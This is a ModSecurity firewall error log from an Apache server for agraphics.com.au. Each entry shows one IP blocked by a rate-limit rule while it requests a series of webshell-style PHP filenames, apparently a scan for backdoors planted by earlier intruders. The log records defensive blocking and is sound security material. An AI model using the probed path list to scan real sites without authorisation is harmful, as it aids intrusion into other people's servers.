[Thu Apr 02 07:09:10.527291 2026] [:error] [pid 59305:tid 59326] [client 20.240.45.211:44778] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ac2llqr2tV4rDwKFxKcg0AAAANE"]
[Thu Apr 02 07:09:11.051485 2026] [:error] [pid 59194:tid 59225] [client 20.240.45.211:44752] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ac2llxMpAeV11hcQehznrgAAAAw"]
[Thu Apr 02 07:09:11.577372 2026] [:error] [pid 59305:tid 59321] [client 20.240.45.211:62952] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ac2ll6r2tV4rDwKFxKcg1QAAAMw"]
[Thu Apr 02 07:09:12.103483 2026] [:error] [pid 59200:tid 59255] [client 20.240.45.211:42630] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ac2lmLfP26txrdLs3EoGRQAAAE8"]
[Thu Apr 02 07:09:12.630509 2026] [:error] [pid 37543:tid 37549] [client 20.240.45.211:12590] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ac2lmHhdk2bEYJCvILY6HQAAAUQ"]
[Thu Apr 02 07:09:13.154673 2026] [:error] [pid 59305:tid 59330] [client 20.240.45.211:62912] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ac2lmar2tV4rDwKFxKcg2gAAANU"]
[Thu Apr 02 07:09:13.680786 2026] [:error] [pid 59305:tid 59309] [client 20.240.45.211:12567] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ac2lmar2tV4rDwKFxKcg3AAAAMA"]
[Thu Apr 02 07:09:14.206895 2026] [:error] [pid 59200:tid 59240] [client 20.240.45.211:42644] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ac2lmrfP26txrdLs3EoGSQAAAEA"]
[Thu Apr 02 07:09:14.779915 2026] [:error] [pid 37543:tid 37547] [client 20.240.45.211:12930] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ac2lmnhdk2bEYJCvILY6IAAAAUI"]
[Thu Apr 02 07:09:15.313498 2026] [:error] [pid 23927:tid 23942] [client 20.240.45.211:12981] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ac2lm0sZwqCndhl9uKBjkAAAAY0"]
[Thu Apr 02 07:09:15.846335 2026] [:error] [pid 37543:tid 37566] [client 20.240.45.211:62964] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lef.php"] [unique_id "ac2lm3hdk2bEYJCvILY6IwAAAVU"]
[Thu Apr 02 07:09:16.378092 2026] [:error] [pid 23927:tid 23933] [client 20.240.45.211:62929] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lef.php"] [unique_id "ac2lnEsZwqCndhl9uKBjlAAAAYQ"]
[Thu Apr 02 07:09:16.901993 2026] [:error] [pid 59201:tid 59280] [client 20.240.45.211:42647] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lef.php"] [unique_id "ac2lnMAC0Tw8eL6gzZ6TbgAAAI0"]
[Thu Apr 02 07:09:17.431534 2026] [:error] [pid 23927:tid 23934] [client 20.240.45.211:12557] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lef.php"] [unique_id "ac2lnUsZwqCndhl9uKBjlgAAAYU"]
[Thu Apr 02 07:09:17.964354 2026] [:error] [pid 29467:tid 29493] [client 20.240.45.211:60590] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2lnb4VUBFCJAq-WOk3LQAAARc"]
[Thu Apr 02 07:09:18.489642 2026] [:error] [pid 23927:tid 23940] [client 20.240.45.211:42641] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2lnksZwqCndhl9uKBjmAAAAYs"]
[Thu Apr 02 07:09:19.014763 2026] [:error] [pid 29467:tid 29486] [client 20.240.45.211:42663] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2ln74VUBFCJAq-WOk3MAAAARA"]
[Thu Apr 02 07:09:19.543926 2026] [:error] [pid 59201:tid 59287] [client 20.240.45.211:13086] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2ln8AC0Tw8eL6gzZ6TcAAAAJQ"]
[Thu Apr 02 07:09:20.070109 2026] [:error] [pid 59201:tid 59268] [client 20.240.45.211:42653] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2loMAC0Tw8eL6gzZ6TcgAAAIE"]
[Thu Apr 02 07:09:20.595077 2026] [:error] [pid 59194:tid 59221] [client 20.240.45.211:62951] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2loBMpAeV11hcQehznvQAAAAg"]
[Thu Apr 02 07:09:21.122770 2026] [:error] [pid 23927:tid 23936] [client 20.240.45.211:13062] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2loUsZwqCndhl9uKBjmgAAAYc"]
[Thu Apr 02 07:09:21.647081 2026] [:error] [pid 59200:tid 59257] [client 20.240.45.211:58953] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2lobfP26txrdLs3EoGVQAAAFE"]
[Thu Apr 02 07:09:22.191770 2026] [:error] [pid 29467:tid 29476] [client 20.240.45.211:12940] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ac2lor4VUBFCJAq-WOk3NgAAAQY"]
[Thu Apr 02 07:09:22.723591 2026] [:error] [pid 29467:tid 29492] [client 20.240.45.211:12991] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ac2lor4VUBFCJAq-WOk3OgAAARY"]
[Thu Apr 02 07:09:23.253409 2026] [:error] [pid 29467:tid 29483] [client 20.240.45.211:60593] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ac2lo74VUBFCJAq-WOk3PgAAAQ0"]
[Thu Apr 02 07:09:23.789199 2026] [:error] [pid 29467:tid 29493] [client 20.240.45.211:44756] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2.php"] [unique_id "ac2lo74VUBFCJAq-WOk3RQAAARc"]
[Thu Apr 02 07:09:24.317951 2026] [:error] [pid 59194:tid 59230] [client 20.240.45.211:12949] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haz.php"] [unique_id "ac2lpBMpAeV11hcQehznwQAAABE"]
[Thu Apr 02 07:09:24.849942 2026] [:error] [pid 37543:tid 37568] [client 20.240.45.211:42639] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haz.php"] [unique_id "ac2lpHhdk2bEYJCvILY6KgAAAVc"]
[Thu Apr 02 07:09:25.394877 2026] [:error] [pid 23927:tid 23946] [client 20.240.45.211:42656] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haz.php"] [unique_id "ac2lpUsZwqCndhl9uKBjnAAAAZE"]
[Thu Apr 02 07:09:25.932867 2026] [:error] [pid 59194:tid 59224] [client 20.240.45.211:13111] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/haz.php"] [unique_id "ac2lpRMpAeV11hcQehznxQAAAAs"]
[Thu Apr 02 07:09:26.562387 2026] [:error] [pid 59201:tid 59291] [client 20.240.45.211:62926] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "ac2lpsAC0Tw8eL6gzZ6TeAAAAJg"]
[Thu Apr 02 07:09:27.104290 2026] [:error] [pid 29467:tid 29476] [client 20.240.45.211:12980] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "ac2lp74VUBFCJAq-WOk3TAAAAQY"]
[Thu Apr 02 07:09:27.629356 2026] [:error] [pid 37543:tid 37567] [client 20.240.45.211:42652] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "ac2lp3hdk2bEYJCvILY6KwAAAVY"]
[Thu Apr 02 07:09:28.162831 2026] [:error] [pid 37543:tid 37554] [client 20.240.45.211:12931] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "ac2lqHhdk2bEYJCvILY6LAAAAUk"]
[Thu Apr 02 07:09:28.693603 2026] [:error] [pid 29467:tid 29484] [client 20.240.45.211:12928] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ac2lqL4VUBFCJAq-WOk3UwAAAQ4"]
[Thu Apr 02 07:09:29.232807 2026] [:error] [pid 37543:tid 37559] [client 20.240.45.211:60595] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ac2lqXhdk2bEYJCvILY6LwAAAU4"]
[Thu Apr 02 07:09:29.758555 2026] [:error] [pid 59194:tid 59214] [client 20.240.45.211:12966] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ac2lqRMpAeV11hcQehznxwAAAAE"]
[Thu Apr 02 07:09:30.313679 2026] [:error] [pid 29467:tid 29494] [client 20.240.45.211:42643] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ac2lqr4VUBFCJAq-WOk3WQAAARg"]
[Thu Apr 02 07:09:30.840874 2026] [:error] [pid 37543:tid 37562] [client 20.240.45.211:12568] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilng.php"] [unique_id "ac2lqnhdk2bEYJCvILY6MQAAAVE"]
[Thu Apr 02 07:09:31.367591 2026] [:error] [pid 37543:tid 37552] [client 20.240.45.211:44760] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilng.php"] [unique_id "ac2lq3hdk2bEYJCvILY6NwAAAUc"]
[Thu Apr 02 07:09:31.901716 2026] [:error] [pid 23927:tid 23953] [client 20.240.45.211:12958] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilng.php"] [unique_id "ac2lq0sZwqCndhl9uKBjqAAAAZg"]
[Thu Apr 02 07:09:32.446216 2026] [:error] [pid 59201:tid 59271] [client 20.240.45.211:60587] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilng.php"] [unique_id "ac2lrMAC0Tw8eL6gzZ6TegAAAIQ"]
[Thu Apr 02 07:09:32.983160 2026] [:error] [pid 23927:tid 23949] [client 20.240.45.211:12946] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f222.php"] [unique_id "ac2lrEsZwqCndhl9uKBjqQAAAZQ"]
[Thu Apr 02 07:09:33.524807 2026] [:error] [pid 37543:tid 37565] [client 20.240.45.211:62918] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f222.php"] [unique_id "ac2lrXhdk2bEYJCvILY6OQAAAVQ"]
[Thu Apr 02 07:09:34.059283 2026] [:error] [pid 23927:tid 23939] [client 20.240.45.211:12545] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f222.php"] [unique_id "ac2lrksZwqCndhl9uKBjqgAAAYo"]
[Thu Apr 02 07:09:34.612317 2026] [:error] [pid 59201:tid 59279] [client 20.240.45.211:44797] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f222.php"] [unique_id "ac2lrsAC0Tw8eL6gzZ6TewAAAIw"]
[Thu Apr 02 07:09:35.142760 2026] [:error] [pid 29467:tid 29488] [client 20.240.45.211:42657] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ac2lr74VUBFCJAq-WOk3cgAAARI"]
[Thu Apr 02 07:09:35.672062 2026] [:error] [pid 29467:tid 29470] [client 20.240.45.211:44779] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ac2lr74VUBFCJAq-WOk3egAAAQA"]
[Thu Apr 02 07:09:36.217818 2026] [:error] [pid 37543:tid 37553] [client 20.240.45.211:60566] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ac2lsHhdk2bEYJCvILY6RgAAAUg"]
[Thu Apr 02 07:09:36.759646 2026] [:error] [pid 29467:tid 29470] [client 20.240.45.211:12604] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ac2lsL4VUBFCJAq-WOk3hwAAAQA"]
[Thu Apr 02 07:09:37.295508 2026] [:error] [pid 37543:tid 37569] [client 20.240.45.211:60558] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "ac2lsXhdk2bEYJCvILY6SgAAAVg"]
[Thu Apr 02 07:09:37.821835 2026] [:error] [pid 29467:tid 29471] [client 20.240.45.211:13113] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "ac2lsb4VUBFCJAq-WOk3jAAAAQE"]
[Thu Apr 02 07:09:38.388522 2026] [:error] [pid 29467:tid 29483] [client 20.240.45.211:13067] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "ac2lsr4VUBFCJAq-WOk3jQAAAQ0"]
[Thu Apr 02 07:09:38.926605 2026] [:error] [pid 29467:tid 29487] [client 20.240.45.211:44749] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "ac2lsr4VUBFCJAq-WOk3jwAAARE"]
[Thu Apr 02 07:09:39.463795 2026] [:error] [pid 23927:tid 23938] [client 20.240.45.211:12595] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ac2ls0sZwqCndhl9uKBjrwAAAYk"]
[Thu Apr 02 07:09:40.007277 2026] [:error] [pid 23927:tid 23940] [client 20.240.45.211:13066] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ac2ltEsZwqCndhl9uKBjsQAAAYs"]
